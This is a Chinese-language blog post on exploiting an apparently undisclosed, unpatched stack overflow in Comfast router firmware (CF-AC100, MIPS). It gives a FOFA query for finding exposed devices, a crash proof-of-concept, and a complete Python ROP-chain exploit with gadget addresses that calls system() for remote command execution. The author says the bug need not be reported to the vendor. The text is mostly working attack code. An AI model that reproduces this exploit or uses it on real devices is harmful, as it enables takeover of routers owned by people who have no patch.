Comfast 系列产品 /栈溢出ROP利用链构造 - Updated
Comfast 本身是个比较小众品牌,出的洞危害范围较小,其安全防御措施也较为轻松.
关于本篇文章分析的利用链,没什么交漏洞库和提醒厂商的必要,没什么好说的. 不过看到网上关于他的漏洞,都没有写明合适构造链. 因此在此浅浅分析一下 ROP 利用链就行了. 该产品采用 mipsel 32 指令集
本文章不遵循 CC 协议,除开特别说明标注,该文章未经许可禁止转载
fofa语法:
icon_hash="-1026040476"
目录跳转 |
---|
直接写 shellcode (失败) |
ROP 链构造调用 system (成功) |
ROP 链构造直接调用 syscall (更新中) |
直接写shellcode
一个尚未公开的栈溢出PoC(前提是登录,客户端 IP 被服务端记录在案):
def Vul4_AC100(host: str) -> None:
'''
Stack OverFlow & DDoS
Requirement: Authorized
by leeya_bug
'''
import requests
data0 = 'A' * 500
data = '{"portal_delete_picname":"' + data0 + '"}'
requests.post("http://" + host + "/cgi-bin/mbox-config?method=SET§ion=wifilith_delete_pic_file", data = data)
Vul4_AC100(HOST的地址)
笔者在此已经下载到了该厂商的一个通用网关固件,将其模拟起来并成功复现了该漏洞. 由于该厂商大多数产品都是通用固件的模板复用,因此只要有洞那大概率其他固件也能复现
下载链接如下所示,提取文件系统可以发现就是 nginx + web cgi
https://dl.comfast.cn/firmware/CF-AC100-V2.6.0.8.zip
此时已知:
栈上字符串变量的首地址为 0x2B2A6540
- 首先,在栈上预写满 0xff 个指令
addiu $a0, $zero, 0x457
,并更改栈返回地址将程序跳转至 0x2B2A6654,具体跳到哪里无所谓,只要跳到addiu $a0, $zero, 0x457
* 0xff 这个区间里面的任意地址就行. - 准备完毕后,构造命令的执行 Payload,并将构建完毕的 Payload 接入填充指令的尾部,进而后续执行(0x2B4002F0 是 system 函数的地址,此处未开启栈随机化,因此暂时拿 0x2B4002F0 作为其地址)
li $a0, 0x2B2A7A58 li $t9, 0x2B4002F0 jalr $t9
- 写入要执行的命令,例如
mkdir /12345
,在此处是不得手动添加\x00
在末尾的
测试版本的 Shellcode 如下所示
data0 = b'A' * 248
data0 += p32(0x2B2A7660)
data0 += b'A' * 0xff0
data0 += b"\x57\x04\x04\x24" * 0xff #写入 addiu $a0, $zero, 0x457
data0 += b"\x2a\x2b\x04\x3c\x58\x7a\x84\x34\x40\x2b\x19\x3c\xf0\x02\x39\x37\x09\xf8\x20\x03"
data0 += b"mkdir /12345"
可以发现PC成功跳转,但是继续运行就报错!这是为什么?后续经 checksec 才发现,Comfast 最新版本的固件居然开启了 NX 保护,因此现在无法在栈上执行任何代码了(明明之前还没开的)
(li $a0, 0x457
即为 addiu $a0, $zero, 0x457
)
不过这倒无所谓,换种方法继续构造罢了
rop链构造1
对于该固件,ROP 链的构造有一点需要注意:由于向该固件输入的字符串首先必须经过各种 json 库处理,因此我们输入的字符串的任何地方 都不能包含字节 \x00
于其中. 否则就会截断整个 json,导致输入不成功.
在这种情况下,由于程序静态加载的函数的地址 总是自 0x00… 开头,向这类地址跳转需要另找几个 gadget. 因此笔者只好优先跳到高地址动态链接的函数,并且该函数的 gadget 地址也不能包含 \x00
一个例子 sub_419BC0 如下所示,由于直接跳转到该函数需要在栈中写入 \x00,因此很难跳到该函数中
很巧的是,libuClibc-0.9.33.2.so 中的 system 函数加载到地址 0x2B4002F0,如果该地址凑巧包含 \x00
于其中,那又要多找几个 gadget 来匹配他了.
那么此时笔者的目标是 合理地 跳到位于 0x2B4002F0 的 system 函数中(如下图所示,此处未开启栈随机化,因此暂时拿 0x2B4002F0 作为其地址).
该固件直接加载 ld-uClibc-0.9.33.2.so、libuClibc-0.9.33.2.so,因此直接分析这两个中的 ROP gadget 即可.
在这里一共需要三条 gadget:
- 一条 gadget 用来控制 $s0 ~ $s7 寄存器
-
一条 gadget 用来向可写入空间 0x0046C000 ~ 0x00483D60 写入 payload,由于无法直接写入
\x00
,该 gadget 必须分为两部分处理:2.1. 写入包含
\x00
的地址2.2. 将数据存入到该地址中
- 一条 gadget 修改 a0、s0 寄存器的值并调用 system 函数
前期可以在 ld-uClibc-0.9.33.2.so、libuClibc-0.9.33.2.so 中使用 mips gadget 找寻工具利用 mipsrop.find 一下.
mipsrop.find('jr $ra')
在这里,笔者首先在 ld-uClibc-0.9.33.2.so 中找了一段只能控制到 jalr $t9 的 gadget (如下所示)
在找了几段类似的 gadget 测试后,发现在此也需要修改 $a0 寄存器的值. 于是后面直接在 libuClibc-0.9.33.2.so 中的 system 函数正巧里找了段 既能够控制 $a0 又能控制 $t9 的 gadget. 另找的 gadget 在下面 (3.) 展示
-
第一条 gadget 在 ld-uClibc-0.9.33.2.so 中的地址为 0x4E04,能控制 $s0 - $s7 寄存器,是比较理想的在此用来控制寄存器的 gadget.
以下是该函数原始 gadget,明显不够用
而后计算 ld-uClibc-0.9.33.2.so 中 __uClibc_main 至 0x4E04 的偏移量并和加载后的 lib 作计算:
0x2B2B2550 + 0x68 - (0x65B8 - 0x4E04) == 0x2B2B0E04
,再将 PC 跳转到该地址 -
第二条 gadget 在 libuClibc-0.9.33.2.so 中,通过整型溢出的方式可以让 $s2 寄存器的值可控在 0x0046C000 ~ 0x00483D60 这个区间,并再将 $s1 寄存器的四字节值写入到 $s2 寄存器值所指的区间的地址中. 具体怎么溢出?addu 指令执行的逻辑是:
addu rd,rs,rt: rd ← rs + rt
当发生整型溢出时,将不会报错,直接从 0 开始溢出. 因此如果想要将 $s2 寄存器的值改变为 0x0047C010,当发生如下计算时,两个寄存器的值均不会包含
\x00
字节且他们相加起来的值为 0x0047C010s3 = 0x7f0f0f10 + 0x0047C010 s2 = 0x80f0f0f0 s2 + s3 = 0x0047c010
因此可以通过这个原理,直接往内存中可写的地址写入需要的字节
-
第三条 gadget 位于 libuClibc-0.9.33.2.so 中的 system 函数附近,该 gadget 地址为 0x2B3FFFF4,首先该 gadget 从栈上获取值并赋值给 $a0,而后旋即将 $s7 赋值给 $t9,再 jalr $t9.
在这里笔者需要解释一下,$a0 从栈上获取值 0x0047c010,但实际上并不能写入
\x00
字节,这就意味着可能要 另找其他 gadget 适应.
但实际上并不用那么复杂,由于这条 gadget 是最后一个被调用的,只需要向栈中最后三个字节写入 0x47C010,由于小端特性,这三个字节和栈外的\x00
会组成 0x0047c010,因此
接下来写代码:首先根据偏移量,分别计算两条 gadget 的位置,以及计算 system 原函数地址
#by leeya_bug
if True:
system_addr = 0x2B4002F0
uClibc_main_addr = 0x2B2B2550
string_addr = 0x0047C010
gadget_jalr_addr = system_addr - 0x2fc
# 0x2B2B2550 是 __uClibc_main 的起始地址
# 0x68 是 __uClibc_main 起始至 __uClibc_main 末尾指令 jr $t9 的距离
# 0x65B8 - 0x4E04 是 __uClibc_main 中指令 jr $t9 至 gadget 起始距离
gadget_addr = uClibc_main_addr + 0x68 - (0x65B8 - 0x4E04)
gadget_write_addr = system_addr - (0x000502F0 - 0x00028810)
首先利用 gadget1、2,构造一个向地址 string_addr + offset 写入长度为四字节的 string 的函数 (可以多次调用该函数分步写入)
#by leeya_bug
def write_string_at(string, offset, jump_to=gadget_addr):
if True:
# gadget 1, 2
data0 = b''
data0 += b'A' * 0x1c # stack padding, register padding
data0 += string.encode() # s1
data0 += p32(0x80f0f0f0) # s2
data0 += p32(0x7f0f0f0f + 1 + string_addr + offset) # s3
data0 += b'A' * 16 # register padding
data0 += p32(jump_to) # fp, return addr of gadget 2
data0 += p32(gadget_write_addr) # ra, return addr of gadget 1
return data0
而后,利用 gadget1、3,构造一个使 $a0 赋值为 string_addr 并最终触发 system 函数的 gadget
构造完毕后,尝试运行 echo leeya_bug-hacked!
这条 linux 命令看看是否成功
最后 Payload:
import requests
from pwn import *
def Vul4_AC100(host: str) -> None:
'''
RCE
Requirement: Authorized
by leeya_bug
'''
import requests
system_addr = 0x2B4002F0
uClibc_main_addr = 0x2B2B2550
string_addr = 0x0047C010
gadget_jalr_addr = system_addr - 0x2fc
# 0x2B2B2550 是 __uClibc_main 的起始地址
# 0x68 是 __uClibc_main 起始至 __uClibc_main 末尾指令 jr $t9 的距离
# 0x65B8 - 0x4E04 是 __uClibc_main 中指令 jr $t9 至 gadget 起始距离
gadget_addr = uClibc_main_addr + 0x68 - (0x65B8 - 0x4E04)
gadget_write_addr = system_addr - (0x000502F0 - 0x00028810)
def write_string_at(string, offset, jump_to=gadget_addr):
# gadget 1, 2
data0 = b''
data0 += b'A' * 0x1c # stack padding, register padding
data0 += string.encode() # s1
data0 += p32(0x80f0f0f0) # s2
data0 += p32(0x7f0f0f0f + 1 + string_addr + offset) # s3
data0 += b'A' * 16 # register padding
data0 += p32(jump_to) # fp, return addr of gadget 2
data0 += p32(gadget_write_addr) # ra, return addr of gadget 1
return data0
data0 = b''
data0 += b'A' * 248 # stack padding, register padding
data0 += p32(gadget_addr) # return
data0 += write_string_at('echo', 0)
data0 += write_string_at(' lee', 4)
data0 += write_string_at('ya_b', 8)
data0 += write_string_at('ug-h', 12)
data0 += write_string_at('acke', 16)
data0 += write_string_at('d! ', 20, jump_to=gadget_addr)
# gadget 1
data0 += b'A' * 24 # stack padding
data0 += b'\x01' * 4 # s0
data0 += b'\x01' * 4 # s1
data0 += b'\x02' * 4 # s2
data0 += b'\x03' * 4 # s3
data0 += b'\x04' * 4 # s4
data0 += b'\x05' * 4 # s5
data0 += b'\x06' * 4 # s6
data0 += (system_addr).to_bytes(4, 'little') # s7
data0 += b'\x08' * 4 # fa
data0 += (gadget_jalr_addr).to_bytes(4, 'little') # return
data0 += b'A' * 0x64 # stack padding
#gadget 3
data0 += (0x47C010).to_bytes(3, 'little') # return
data = b'{"portal_delete_picname":"' + data0 + b'"}'
#data = b'{"portal_delete_picname":"1"}'
print(requests.post("http://" + host + "/cgi-bin/mbox-config?method=SET§ion=wifilith_delete_pic_file", data = data).text)
Vul4_AC100("192.168.20.101")
一运行,果然固件提示 leeya_bug-hacked!
,成功运行 echo leeya_bug-hacked!
证明利用链构造成功
本文章不遵循 CC 协议,除开特别说明标注,该文章未经许可禁止转载
rop链构造2
未更新